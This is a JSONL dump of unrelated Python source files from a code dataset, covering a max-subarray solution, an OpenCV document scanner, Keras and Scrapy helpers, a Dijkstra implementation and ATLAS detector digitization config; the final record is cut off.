+{"seq_id":"351101242","text":"def maxSubarray(arr):\r\n    ### Maximum Subsequence\r\n    max_sub =0\r\n    for i in range(len(arr)):\r\n        if arr[i]>0:\r\n            max_sub += arr[i]\r\n    if max_sub ==0:\r\n        max_sub = max(arr)\r\n    #print (f\"max_sub {max_sub}\")\r\n\t\r\n\t\r\n\t### Maximum Subarray Sum\r\n    max_s =0\r\n    \r\n    if all(item<0 for item in arr):\r\n        print (\"hello\")\r\n        max_s = max(arr)\r\n    elif all(item>0 for item in arr):\r\n        max_s = sum(arr)\r\n    else:\r\n        #print (\"hi\")\r\n        temp =0\r\n        for i in range(len(arr)):\r\n            temp += arr[i]\r\n            \r\n            if temp <0:\r\n                temp=0\r\n            if temp> max_s:\r\n                max_s = temp\r\n\r\n    return (max_s,max_sub)","sub_path":"maximum_subarray_hackerrank.py","file_name":"maximum_subarray_hackerrank.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"651863401","text":"#!/usr/bin/python3\n# vibrator.py - a vibrator class for android\n\n# Current Plyer release has an issue with android vibrator.\n# This module fixes it.\n\nfrom jnius import autoclass, cast\nfrom plyer.platforms.android import SDK_INT\nfrom plyer.platforms.android import activity\n\nclass Vibrator():\n\n    def __init__(self):\n        Context = autoclass(\"android.content.Context\")\n        vibrator_service = activity.getSystemService(Context.VIBRATOR_SERVICE)\n        self.vibrator = cast(\"android.os.Vibrator\", vibrator_service)\n        if SDK_INT >= 26:\n            self.VibrationEffect = autoclass(\"android.os.VibrationEffect\")\n\n        \n    def vibrate(self, duration):\n        # duration in milliseconds.\n        if SDK_INT >= 26:\n            self.vibrator.vibrate(self.VibrationEffect.createOneShot(int(duration), \n                                  self.VibrationEffect.DEFAULT_AMPLITUDE))\n        else:\n            self.vibrator.vibrate(int(duration))\n\n\n    ","sub_path":"vibrator.py","file_name":"vibrator.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"280597181","text":"import pytest\nfrom recyclo.models import Base\nfrom recyclo.environment import create_environment\n\n@pytest.fixture\ndef environment():\n    instance = create_environment()\n    db = instance.resolve('db')\n    db.create_all(Base)\n    yield instance\n    db.drop_all(Base)\n\n@pytest.fixture\ndef cell_service(environment):\n    yield environment.resolve('cell_service')\n\ndef test_create_cell(cell_service):\n    cell_type = cell_service.create_cell_type(manufacturer='Panasonic', model='NCR18650PF', colour='Light Green')\n    cell = cell_service.create_cell(cell_type=cell_type)","sub_path":"recyclo/unit_tests/test_cell_service.py","file_name":"test_cell_service.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"222858772","text":"# importing the required libraries\nfrom pyimagesearch.transform import four_point_transform\nfrom skimage.filters import threshold_local\nfrom skimage.filters import threshold_yen\nfrom skimage.exposure import rescale_intensity\nimport numpy as np\nimport argparse\nimport cv2\nimport imutils\n\nkernel = np.array([[-1,-1,-1], [-1,9,-1], [-1,-1,-1]])\n\n# function for auto adjusted canny edge detection\ndef auto_canny(image, sigma=0.30):\n\t\n    # compute the median of the single channel pixel intensities\n\tv = np.median(image)\n\t\n    # apply automatic Canny edge detection using the computed median\n\tlower = int(max(0, (1.0 - sigma) * v))\n\tupper = int(min(255, (1.0 + sigma) * v))\n\tcanny = cv2.Canny(image, lower, upper)\n\t\n    # return the edged image\n\treturn canny\n\n# function to find edges on an image using gaussian blur and canny edge detection \ndef find_edges(image):\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    blurred = cv2.GaussianBlur(gray, (5, 5), 1)\n    canny = auto_canny(blurred)\n    return canny\n\n# function to get the contours of the image\ndef getContours(image):\n    cnts = cv2.findContours(image.copy(), cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n    cnts = imutils.grab_contours(cnts)\n    cnts = sorted(cnts, key = cv2.contourArea, reverse = True)[:5]\n    return cnts\n\n# function to increase brightness   \ndef increase_brightness(image, value=30):\n    hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n    h, s, v = cv2.split(hsv)\n\n    lim = 255 - value\n    v[v > lim] = 255\n    v[v <= lim] += value\n\n    final_hsv = cv2.merge((h, s, v))\n    image = cv2.cvtColor(final_hsv, cv2.COLOR_HSV2BGR)\n    return image\n\n\n\n# function which displays the window of the scan preview\ndef showDocumentWithContours(image, cnts):\n    # create copy of source image to display\n    imageToDrawOn = image.copy()\n\n    # loop accross the contours\n    for c in cnts:\n        peri = cv2.arcLength(c, True)\n        approx = cv2.approxPolyDP(c, 0.026 * peri, True)\n        \n        #if we find 4 contours, it should be our document\n        if len(approx) == 4:\n            screenCnt = approx\n\n            #draw the contours in blue\n            cv2.drawContours(imageToDrawOn, [screenCnt], -1, (0, 0, 255), 3)\n            break\n    # resize the image so it fits in screen    \n    image_resized = imutils.resize(imageToDrawOn, height = 720)\n\n    # draw an overlay so the user finds it easier to place the document\n    cv2.imshow('Document',image_resized)\n\n#function to get scanned image from given contours, if they are found\ndef scan(image_original,cnts,img_counter):\n    for c in cnts:\n        peri = cv2.arcLength(c, True)\n        approx = cv2.approxPolyDP(c, 0.015 * peri, True)\n        if len(approx) == 4:\n            screenCnt = approx\n\n            #warp the image to fill the document\n            warped = four_point_transform(image_original, screenCnt.reshape(4, 2))\n\n            #increase brightness and contrast\n            adjusted = increase_brightness(warped)\n\n            #sharpen the image\n            sharpened = cv2.filter2D(adjusted, -1, kernel)\n            \n\n            #show the image and save it\n            cv2.imshow('Scanned image',sharpened)\n            img_counter+=1\n            img_name = \"scan_{}.png\".format(img_counter)\n            cv2.imwrite(img_name, sharpened)\n            break\n        else:\n            print(\"Contour not found!\")\n                \n\n\n# set up video capture feed\ncam = cv2.VideoCapture(1)\ncam.set(cv2.CAP_PROP_FRAME_WIDTH, 1980)\ncam.set(cv2.CAP_PROP_FRAME_HEIGHT, 1080)\n\nimg_counter = 0\n\n# main loop\nwhile True:\n\n\n    ret, image = cam.read()\n    image = cv2.rotate(image, cv2.ROTATE_90_CLOCKWISE)\n\n    if not ret:\n        print(\"failed to grab frame\")\n        break\n\n    image_edged = find_edges(image)\n    cnts = getContours(image_edged)\n\n    showDocumentWithContours(image,cnts)\n\n    k = cv2.waitKey(1)\n    if k%256 == 27:\n        # ESC was pressed\n        print(\"Closing...\")\n        break\n    elif k%256 == 32:\n        # SPACE was pressed\n        scan(image,cnts,img_counter)\n\n\ncam.release()\ncv2.destroyAllWindows()","sub_path":"scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":4054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"640249050","text":"# Import libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\ndataset = pd.read_csv('./Chicago_Crimes_2012_to_2017.csv', names = [\n        'number',\n        'id',\n        'case_number',\n        'date',\n        'block',\n        'iucr',\n        'primary_type',\n        'description',\n        'location_description',\n        'arrest',\n        'domestic',\n        'beat',\n        'district',\n        'ward',\n        'community_area',\n        'fbi_code',\n        'x_coordinate',\n        'y_coordinate',\n        'year',\n        'updated_on',\n        'latitude',\n        'longtitude',\n        'location'\n    ])\ndataset = dataset.iloc[1:, :]\n\ndataset_small = dataset[[\n        'id',\n        'primary_type',\n        'description',\n        'location_description',\n        'x_coordinate',\n        'y_coordinate',\n        'latitude',\n        'longtitude',\n        'location',\n        'year'\n    ]]\ndataset_small.to_csv('dataset_small.csv')\ndataset_small = dataset_small.dropna(subset=['latitude', 'longtitude'])\noffenses = dataset_small.loc[dataset_small['primary_type'] == 'OFFENSE INVOLVING CHILDREN']\noffenses2016 = offenses.loc[offenses['year'] == 2016]\n\nimport psycopg2\nconn = psycopg2.connect(host=\"localhost\",database=\"project_chicago\", user=\"postgres\", password=\"password\")\ncur = conn.cursor()\n\nfor i in range(0, offenses2016.shape[0]):\n    crime = offenses2016.iloc[i]\n    type = crime['primary_type']\n    description = crime['description']\n    location = crime['location_description']\n    latitude = float(crime['latitude'])\n    longtitude = float(crime['longtitude'])\n\n    query =  \"INSERT INTO crimes (type, description, location, geo) VALUES (%s, %s, %s, ST_GeomFromText('POINT(%s %s)', 4326));\"\n    data = (type, description, location, longtitude, latitude)\n    cur.execute(query, data)\n    \nconn.commit()\ncur.close()\nconn.close()","sub_path":"parsers/parser_crimes.py","file_name":"parser_crimes.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"506721831","text":"import keras.backend as K\nimport tensorflow as tf\nimport numpy as np\nimport pandas as pd\nimport os, glob, shutil\n\ndef tp(y_true, y_pred):\n    \"\"\"Precision metric.\n\n    Only computes a batch-wise average of precision.\n\n    Computes the precision, a metric for multi-label classification of\n    how many selected items are relevant.\n    \"\"\"\n    true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n#    predicted_positives = K.sum(K.round(K.clip(y_pred, 0, 1)))\n#    true_positives\n    return true_positives\n\ndef precision(y_true, y_pred):\n    \"\"\"Precision metric.\n\n    Only computes a batch-wise average of precision.\n\n    Computes the precision, a metric for multi-label classification of\n    how many selected items are relevant.\n    \"\"\"\n    true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n    predicted_positives = K.sum(K.round(K.clip(y_pred, 0, 1)))\n    precision = true_positives / (predicted_positives + K.epsilon())\n    return precision\n\ndef recall(y_true, y_pred):\n    \"\"\"Recall metric.\n\n    Only computes a batch-wise average of recall.\n\n    Computes the recall, a metric for multi-label classification of\n    how many relevant items are selected.\n    \"\"\"\n    true_positives = K.sum(K.round(K.clip(y_true * y_pred, 0, 1)))\n    possible_positives = K.sum(K.round(K.clip(y_true, 0, 1)))\n    recall = true_positives / (possible_positives + K.epsilon())\n    return recall\n\n\ndef keras_nn_create_layers(shape_col, layers_list, activation_list = None):\n    #check last layer\n    if not layers_list[-1] == 1:\n        assert False, \"Final output layer has more than 1 node!\"\n        \n    if activation_list is None:\n        activation_list = [tf.nn.relu for j in layers_list]\n        activation_list[-1] = tf.nn.sigmoid\n        \n    keras_layers = []\n    nrange = range(len(layers_list))\n    for nnodes, activ, n in zip(layers_list, activation_list, nrange):\n        if n == 0:\n            layer = tf.keras.layers.Dense(nnodes, activation=activ, input_shape = (shape_col, ))\n        else: \n            layer = tf.keras.layers.Dense(nnodes, activation=activ)\n        keras_layers.append(layer)\n        \n    return keras_layers \n    \nclass MLModel:\n    def __init__(self, MLData_obj, temp_output_folder = \"Model_Checkpoints\", **kwargs):\n        self.MLData = MLData_obj\n        self.temp_output_folder = temp_output_folder\n        \n        z = 1\n        while os.path.isdir(temp_output_folder):\n            temp_output_folder = temp_output_folder + \"_\" + str(z).zfill(2)\n            z = z+1\n        try:\n            os.mkdir(temp_output_folder)\n        except:\n            assert False, \"Cannot make temp folder: \" + temp_output_folder\n        \n    def run_keras_nn_weighted_loss(self, layers_list = [256, 128, 64, 32, 8, 1], num_epoch = 20000, batch_size = 64, lr=0.0001, beta_1=0.9, beta_2=0.999):\n        x_train, x_val = self.MLData.x_np_list[0], self.MLData.x_np_list[1]\n        y_train, y_val = self.MLData.y_np_list[0], self.MLData.y_np_list[1]\n        \n        shape_col = x_train.shape[1]\n        keras_layers = keras_nn_create_layers(shape_col = shape_col, layers_list = layers_list)\n        model = tf.keras.models.Sequential(keras_layers)\n        \n        opti = tf.keras.optimizers.Adam(lr=lr, beta_1=beta_1, beta_2=beta_2, epsilon=None, decay=0.0, amsgrad=False)\n        # opti = tf.keras.optimizers.SGD(lr=lr, momentum=0, decay=0, nesterov=False)\n        \n        special_weight = self.MLData.get_class_weights_dict()[1]\n        def spec_weighted_binary_crossentropy(y_true, y_pred):    \n            _epsilon = tf.convert_to_tensor(K.epsilon(), y_pred.dtype.base_dtype)\n            output = tf.clip_by_value(y_pred, _epsilon, 1 - _epsilon)\n            output = tf.log(output / (1 - output))\n            return K.mean(tf.nn.weighted_cross_entropy_with_logits(targets= y_true,\n                                                           logits = output,\n                                                           pos_weight = special_weight), axis=-1)\n            \n        model.compile(optimizer=opti,\n                      loss=spec_weighted_binary_crossentropy,\n                      metrics=[\"accuracy\", precision, recall, tp]\n        )\n\n        filepath = os.path.join(self.temp_output_folder, \"weights_{epoch:04d}_{val_loss:.4f}_{val_precision:.4f}.h5\")\n        model_checkpoint = tf.keras.callbacks.ModelCheckpoint(filepath, monitor='val_precision',\n                                                           verbose=0,\n                                                           save_best_only=True, save_weights_only=False,\n                                                           mode='max', period=1)\n        patience = int(np.round(num_epoch/5))\n        model_early_stopping = tf.keras.callbacks.EarlyStopping(patience=patience, monitor='val_precision')\n#        model_callback_tensorboard = tf.keras.callbacks.TensorBoard(log_dir='C:/Users/Workstation/Desktop/Tensorboard_Log/keras_test', histogram_freq=0, write_graph=True, write_images=False)\n    \n        model_history = model.fit(x_train, y_train,\n                                  epochs=num_epoch,\n                                  batch_size=batch_size,\n                                  validation_data=(x_val, y_val),\n                                  callbacks = [\n                                    model_checkpoint,\n                                    model_early_stopping\n                                  ],\n                                  verbose=2)\n        \n        best_model_path = glob.glob(os.path.join(self.temp_output_folder, \"*.h5\"))[-1]\n        model = tf.keras.models.load_model(best_model_path,\n            custom_objects=None,\n            compile=False\n        )\n        \n        self.best_model_path = best_model_path\n        self.best_model_number = int(best_model_path.split(\"_\")[-3])\n        self.model = model        \n        model_history_df = pd.DataFrame(model_history.history).reset_index()\n        model_history_df = model_history_df.rename(index=str, columns={\"index\": \"epoch\"})\n        \n        \n        self.model_history_df = model_history_df\n        \n        self.run_predict_all()\n        self.compute_signal_df()\n#        return model, model_history_df\n    def predict(self, x, pre_processing = False):\n        if pre_processing:\n            x = self.MLData.scaler(x)\n        y = self.model.predict(x).flatten()\n        return y\n    \n    def run_predict_all(self):\n        self.y_pred_list = []\n        for i, x in enumerate(self.MLData.x_np_list):\n            self.y_pred_list.append(self.predict(x))\n        self.y_pred_full = self.predict(self.MLData.x_np_full)\n        \n    def compute_signal_df(self):\n        df1 = self.MLData.df_import[[self.MLData.target_col]] \n        actual_signal = self.MLData.df_binary[self.MLData.target_col].values\n        df1 = df1.assign(signal_actual = actual_signal)\n        df1 = df1.assign(signal_raw = self.y_pred_full)\n        df1 = df1.assign(signal = 1*(df1[\"signal_raw\"] >= 0.5))\n        df1.columns = [\"actual_return\", \"signal_actual\", \"signal_raw\", \"signal\"]\n        self.signal_df = df1\n        df_with_sample = []\n        for df, ss in zip(self.MLData.y_df_list, self.MLData.sample_list):\n            df_with_sample.append(df.assign(sample = ss))\n        df_with_sample = pd.concat(df_with_sample, axis = 0)\n        df_with_sample = df_with_sample[[\"sample\"]]\n        \n        self.signal_df = pd.merge(self.signal_df, df_with_sample, left_index = True, right_index = True, how = \"left\")\n        \n        \n#    def performance_visualization(self):\n#        print(\"p\")\n    def save_checkpoint(self, output_folder):\n        try:\n            shutil.copy2(self.best_model_path, os.path.join(output_folder, \"model_model_1.h5\"))\n            dest_folder_name = os.path.join(output_folder, \"Model_Checkpoints\")\n            shutil.move(self.temp_output_folder, dest_folder_name)\n        except:\n            print(\"Error saving model checkpoints!\")\n#    def save_model(self, output_folder):\n#        try:\n#            model_filename = os.path.join(output_folder, \"model_model_1.h5\")\n#            self.model.save(model_filename)\n#        except:\n#            print(\"Error saving\", model_filename)\n    \n    def save_signal(self, output_folder):    \n        try:\n            file_dir = os.path.join(output_folder, \"signal.csv\")\n            self.signal_df.to_csv(file_dir)\n        except:\n            print(\"Error saving\", file_dir)\n    \n        \n        ","sub_path":"Step3_ML1_Model/MLModel_Class.py","file_name":"MLModel_Class.py","file_ext":"py","file_size_in_byte":8434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"172005078","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\nimport pymongo\nfrom Daomu import settings\nimport pymysql\n\nclass DaomuPipeline(object):\n    def process_item(self, item, spider):\n        print(\"=================\")\n        print(item[\"bookName\"])\n        print(item[\"bookTitle\"])\n        print(item[\"zhNum\"])\n        print(item[\"zhName\"])\n        print(item[\"zhLink\"])\n        print(\"=================\")\n\nclass DaomuMongoPipeline(object):\n    def __init__(self):\n        # 定义pymongo需要的变量\n        host = settings.MONGODB_HOST\n        port = settings.MONGODB_PORT\n        dbname = settings.MONGODB_DATABASE\n        tname = settings.MONGODB_TABLE\n        # 连接对象 \n        conn = pymongo.MongoClient(host=host,\n                                   port=port)\n        # 创建库对象\n        db = conn[dbname]\n        # 集合对象\n        self.myset = db[tname]\n\n    def process_item(self,item,spider):\n        # 将item转为字典格式\n        bookDict = dict(item)\n        self.myset.insert(bookDict)\n        print(\"存入数据库成功!\")\n\nclass DaomuMysqlPipeline(object):\n    def __init__(self):\n        host = settings.MYSQL_HOST\n        user = settings.MYSQL_USER\n        pwd = settings.MYSQL_PWD\n        dbName = settings.MYSQL_DB\n\n        # 创建数据库连接对象\n        self.db = pymysql.connect(host=host,\n                            user=user,\n                            password=pwd,\n                            database=dbName,\n                            charset=\"utf8\")\n        # 创建游标对象\n        self.cursor = self.db.cursor()\n\n    def process_item(self,item,spider):\n        ins = 'insert into Article values\\\n               (%s,%s,%s,%s,%s)'\n        articleList = [\n                    item[\"bookName\"],\n                    item[\"bookTitle\"],\n                    item[\"zhNum\"],\n                    item[\"zhName\"],\n                    item[\"zhLink\"],\n                ]\n        self.cursor.execute(ins,articleList)\n        self.db.commit()\n        print(\"成功存入MySQL数据库\")\n\n\n\n\n\n","sub_path":"scrapy/Daomu/Daomu/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"478654699","text":"class Dijkstras:\n    graph = {}\n    costs = {}\n    parents = {}\n    processed = []\n\n    def __init__(self):\n        self.buildGraph()\n        self.buildCosts()\n        self.buildParents()\n\n    def printShortestPath(self, start, node):\n        solution = \"\"\n        parent = \"\"\n        while parent is not start:\n            parent = self.parents[node]\n            solution += parent\n            node = parent\n        return solution\n\n    def findShortestPath(self):\n        node = self.findLowestCostNode()\n        while node is not None:\n            cost = self.costs[node]\n            neighbours = self.graph[node]\n            for n in neighbours.keys():\n                new_cost = cost + neighbours[n]\n                if self.costs[n] > new_cost:\n                    self.costs[n] = new_cost\n                    self.parents[n] = node\n            self.processed.append(node)\n            node = self.findLowestCostNode()\n\n    def findLowestCostNode(self):\n        lowest_cost = float(\"inf\")\n        lowest_cost_node = None\n        for node in self.costs:\n            cost = self.costs[node]\n            if cost < lowest_cost and node not in self.processed:\n                lowest_cost = cost\n                lowest_cost_node = node\n        return lowest_cost_node\n\n    def buildGraph(self):\n        self.graph[\"start\"] = {}\n        self.graph[\"start\"][\"a\"] = 6\n        self.graph[\"start\"][\"b\"] = 2\n\n        self.graph[\"a\"] = {}\n        self.graph[\"a\"][\"fin\"] = 1\n\n        self.graph[\"b\"] = {}\n        self.graph[\"b\"][\"a\"] = 3\n        self.graph[\"b\"][\"fin\"] = 5\n\n        self.graph[\"fin\"] = 5\n\n    def buildCosts(self):\n        infinity = float(\"inf\")\n\n        self.costs[\"a\"] = 6\n        self.costs[\"b\"] = 2\n        self.costs[\"fin\"] = infinity\n\n    def buildParents(self):\n        self.parents[\"a\"] = \"start\"\n        self.parents[\"b\"] = \"start\"\n        self.parents[\"fin\"] = None","sub_path":"DijkstrasAlgorithm.py","file_name":"DijkstrasAlgorithm.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"539054588","text":"#! /usr/bin/env python\n# Alexander Afanasyev (UCLA), 2014\n\"\"\"\nEnable precompiled C++ header support (currently only clang++ and g++ are supported)\n\nTo use this tool, wscript should look like:\n\n\tdef options(opt):\n\t\topt.load('pch')\n\t\t# This will add `--with-pch` configure option.\n\t\t# Unless --with-pch during configure stage specified, the precompiled header support is disabled\n\n\tdef configure(conf):\n\t\tconf.load('pch')\n\t\t# this will set conf.env.WITH_PCH if --with-pch is specified and the supported compiler is used\n\t\t# Unless conf.env.WITH_PCH is set, the precompiled header support is disabled\n\n\tdef build(bld):\n\t\tbld(features='cxx pch',\n\t\t\ttarget='precompiled-headers',\n\t\t\tname='precompiled-headers',\n\t\t\theaders='a.h b.h c.h', # headers to pre-compile into `precompiled-headers`\n\n\t\t\t# Other parameters to compile precompiled headers\n\t\t\t# includes=...,\n\t\t\t# export_includes=...,\n\t\t\t# use=...,\n\t\t\t# ...\n\n\t\t\t# Exported parameters will be propagated even if precompiled headers are disabled\n\t\t)\n\n\t\tbld(\n\t\t\ttarget='test',\n\t\t\tfeatures='cxx cxxprogram',\n\t\t\tsource='a.cpp b.cpp d.cpp main.cpp',\n\t\t\tuse='precompiled-headers',\n\t\t)\n\n\t\t# or\n\n\t\tbld(\n\t\t\ttarget='test',\n\t\t\tfeatures='pch cxx cxxprogram',\n\t\t\tsource='a.cpp b.cpp d.cpp main.cpp',\n\t\t\theaders='a.h b.h c.h',\n\t\t)\n\nNote that precompiled header must have multiple inclusion guards.  If the guards are missing, any benefit of precompiled header will be voided and compilation may fail in some cases.\n\"\"\"\nimport os\n\nfrom waflib import Task\nfrom waflib import TaskGen\nfrom waflib import Utils\nfrom waflib.Tools import c_preproc\nfrom waflib.Tools import cxx\n\n\nPCH_COMPILER_OPTIONS = {\n    \"clang++\": [[\"-include\"], \".pch\", [\"-x\", \"c++-header\"]],\n    \"g++\": [[\"-include\"], \".gch\", [\"-x\", \"c++-header\"]],\n}\n\n\ndef options(opt):\n    opt.add_option(\n        \"--without-pch\",\n        action=\"store_false\",\n        default=True,\n        dest=\"with_pch\",\n        help=\"\"\"Try to use precompiled header to speed up compilation (only g++ and clang++)\"\"\",\n    )\n\n\ndef configure(conf):\n    if (\n        conf.options.with_pch\n        and conf.env[\"COMPILER_CXX\"] in PCH_COMPILER_OPTIONS.keys()\n    ):\n        conf.env.WITH_PCH = True\n        flags = PCH_COMPILER_OPTIONS[conf.env[\"COMPILER_CXX\"]]\n        conf.env.CXXPCH_F = flags[0]\n        conf.env.CXXPCH_EXT = flags[1]\n        conf.env.CXXPCH_FLAGS = flags[2]\n\n\n@TaskGen.feature(\"pch\")\n@TaskGen.before(\"process_source\")\ndef apply_pch(self):\n    if not self.env.WITH_PCH:\n        return\n\n    if getattr(self.bld, \"pch_tasks\", None) is None:\n        self.bld.pch_tasks = {}\n\n    if getattr(self, \"headers\", None) is None:\n        return\n\n    self.headers = self.to_nodes(self.headers)\n\n    if getattr(self, \"name\", None):\n        try:\n            task = self.bld.pch_tasks[f\"{self.name}.{self.idx}\"]\n            self.bld.fatal(\n                \"Duplicated 'pch' task with name %r\" % \"%s.%s\" % (self.name, self.idx)\n            )\n        except KeyError:\n            pass\n\n    out = \"%s.%d%s\" % (self.target, self.idx, self.env[\"CXXPCH_EXT\"])\n    out = self.path.find_or_declare(out)\n    task = self.create_task(\"gchx\", self.headers, out)\n\n    # target should be an absolute path of `out`, but without precompiled header extension\n    task.target = out.abspath()[: -len(out.suffix())]\n\n    self.pch_task = task\n    if getattr(self, \"name\", None):\n        self.bld.pch_tasks[f\"{self.name}.{self.idx}\"] = task\n\n\n@TaskGen.feature(\"cxx\")\n@TaskGen.after_method(\"process_source\", \"propagate_uselib_vars\")\ndef add_pch(self):\n    if not (\n        self.env[\"WITH_PCH\"]\n        and getattr(self, \"use\", None)\n        and getattr(self, \"compiled_tasks\", None)\n        and getattr(self.bld, \"pch_tasks\", None)\n    ):\n        return\n\n    pch = None\n    # find pch task, if any\n\n    if getattr(self, \"pch_task\", None):\n        pch = self.pch_task\n    else:\n        for use in Utils.to_list(self.use):\n            try:\n                pch = self.bld.pch_tasks[use]\n            except KeyError:\n                pass\n\n    if pch:\n        for x in self.compiled_tasks:\n            x.env.append_value(\"CXXFLAGS\", self.env[\"CXXPCH_F\"] + [pch.target])\n\n\nclass gchx(Task.Task):\n    run_str = \"${CXX} ${ARCH_ST:ARCH} ${CXXFLAGS} ${CXXPCH_FLAGS} ${FRAMEWORKPATH_ST:FRAMEWORKPATH} ${CPPPATH_ST:INCPATHS} ${DEFINES_ST:DEFINES} ${CXXPCH_F:SRC} ${CXX_SRC_F}${SRC[0].abspath()} ${CXX_TGT_F}${TGT[0].abspath()} ${CPPFLAGS}\"\n    scan = c_preproc.scan\n    color = \"BLUE\"\n    ext_out = [\".h\"]\n\n    def runnable_status(self):\n        try:\n            node_deps = self.generator.bld.node_deps[self.uid()]\n        except KeyError:\n            node_deps = []\n        ret = Task.Task.runnable_status(self)\n        if ret == Task.SKIP_ME and self.env.CXX_NAME == \"clang\":\n            t = os.stat(self.outputs[0].abspath()).st_mtime\n            for n in self.inputs + node_deps:\n                if os.stat(n.abspath()).st_mtime > t:\n                    return Task.RUN_ME\n        return ret\n","sub_path":"docs/.mywaflib/waflib/extras/pch.py","file_name":"pch.py","file_ext":"py","file_size_in_byte":4933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"196186514","text":"# Copyright (C) 2002-2020 CERN for the benefit of the ATLAS collaboration\n\n#\n# Import MDT_Digitization job properties\n#\nfrom Digitization.DigitizationFlags import jobproperties\nfrom AthenaCommon.BeamFlags import jobproperties\nfrom AthenaCommon import CfgMgr\nfrom AthenaCommon.AppMgr import ToolSvc, ServiceMgr\n\n# The earliest bunch crossing time for which interactions will be sent\n# to the MdtDigitizationTool.\ndef MDT_FirstXing():\n    return -800\n\n# The latest bunch crossing time for which interactions will be sent\n# to the MdtDigitizationTool.\ndef MDT_LastXing():\n    # was 800 for large time window\n    return 150\n\ndef MdtDigitizationTool(name=\"MdtDigitizationTool\",**kwargs):\n   import MuonCondAlg.MdtCondDbAlgConfig # MT-safe conditions access\n   kwargs.setdefault(\"MaskedStations\", [])\n   kwargs.setdefault(\"UseDeadChamberSvc\", True)\n   kwargs.setdefault(\"DiscardEarlyHits\", True)\n\n   kwargs.setdefault(\"UseTof\", jobproperties.Beam.beamType != \"cosmics\")\n\n   if 'RT_Relation_DB_DigiTool' in jobproperties.Digitization.experimentalDigi():\n      kwargs.setdefault(\"DigitizationTool\",\"RT_Relation_DB_DigiTool\")\n   else:\n      kwargs.setdefault(\"DigitizationTool\",\"MDT_Response_DigiTool\")\n\n   if jobproperties.Digitization.specialConfiguration.statusOn:\n      specialConfigDict = jobproperties.Digitization.specialConfiguration.get_Value()\n      if 'MDT_QballConfig' in specialConfigDict.keys():\n         kwargs.setdefault(\"DoQballCharge\", (specialConfigDict['MDT_QballConfig'] == 'True'))\n      else:\n         kwargs.setdefault(\"DoQballCharge\", False)\n   else:\n      kwargs.setdefault(\"DoQballCharge\", False)\n\n   if jobproperties.Digitization.doXingByXingPileUp():\n      kwargs.setdefault(\"FirstXing\", MDT_FirstXing() ) # this should match the range for the MDT in Digitization/share/MuonDigitization.py\n      kwargs.setdefault(\"LastXing\",  MDT_LastXing() )  # this should match the range for the MDT in Digitization/share/MuonDigitization.py\n\n   kwargs.setdefault(\"OutputObjectName\", \"MDT_DIGITS\")\n   if jobproperties.Digitization.PileUpPremixing and 'OverlayMT' in jobproperties.Digitization.experimentalDigi():\n      from OverlayCommonAlgs.OverlayFlags import overlayFlags\n      kwargs.setdefault(\"OutputSDOName\", overlayFlags.bkgPrefix() + \"MDT_SDO\")\n   else:\n      kwargs.setdefault(\"OutputSDOName\", \"MDT_SDO\")\n\n   return CfgMgr.MdtDigitizationTool(name,**kwargs)\n      #return CfgMgr.MDT_PileUpTool(name,**kwargs)\n   #else:\n   #   return CfgMgr.MdtDigitizationTool(name,**kwargs)\n\n\ndef getMdtRange(name=\"MdtRange\", **kwargs):\n    # bunch crossing range in ns\n    kwargs.setdefault('FirstXing', MDT_FirstXing() )\n    kwargs.setdefault('LastXing',  MDT_LastXing() )\n    kwargs.setdefault('CacheRefreshFrequency', 1.0 ) #default 0 no dataproxy reset\n    kwargs.setdefault('ItemList', [\"MDTSimHitCollection#MDT_Hits\"] )\n    return CfgMgr.PileUpXingFolder(name, **kwargs)\n\n\ndef RT_Relation_DB_DigiTool(name=\"RT_Relation_DB_DigiTool\",**kwargs):\n   return CfgMgr.RT_Relation_DB_DigiTool(name,**kwargs)\n\n\ndef MDT_Response_DigiTool(name=\"MDT_Response_DigiTool\",**kwargs):\n   if jobproperties.Digitization.specialConfiguration.statusOn:\n      specialConfigDict = jobproperties.Digitization.specialConfiguration.get_Value()\n      if 'MDT_QballConfig' in specialConfigDict.keys():\n         kwargs.setdefault(\"DoQballGamma\", (specialConfigDict['MDT_QballConfig'] == 'True'))\n      else:\n         kwargs.setdefault(\"DoQballGamma\", False)\n   else:\n      kwargs.setdefault(\"DoQballGamma\", False)\n\n   return CfgMgr.MDT_Response_DigiTool(name,**kwargs)\n\ndef Mdt_OverlayDigitizationTool(name=\"Mdt_OverlayDigitizationTool\",**kwargs):\n    from OverlayCommonAlgs.OverlayFlags import overlayFlags\n    if overlayFlags.isOverlayMT():\n        kwargs.setdefault(\"OnlyUseContainerName\", False)\n        kwargs.setdefault(\"OutputObjectName\", overlayFlags.sigPrefix() + \"MDT_DIGITS\")\n        if not overlayFlags.isDataOverlay():\n            kwargs.setdefault(\"OutputSDOName\", overlayFlags.sigPrefix() + \"MDT_SDO\")\n    else:\n        kwargs.setdefault(\"OutputObjectName\", 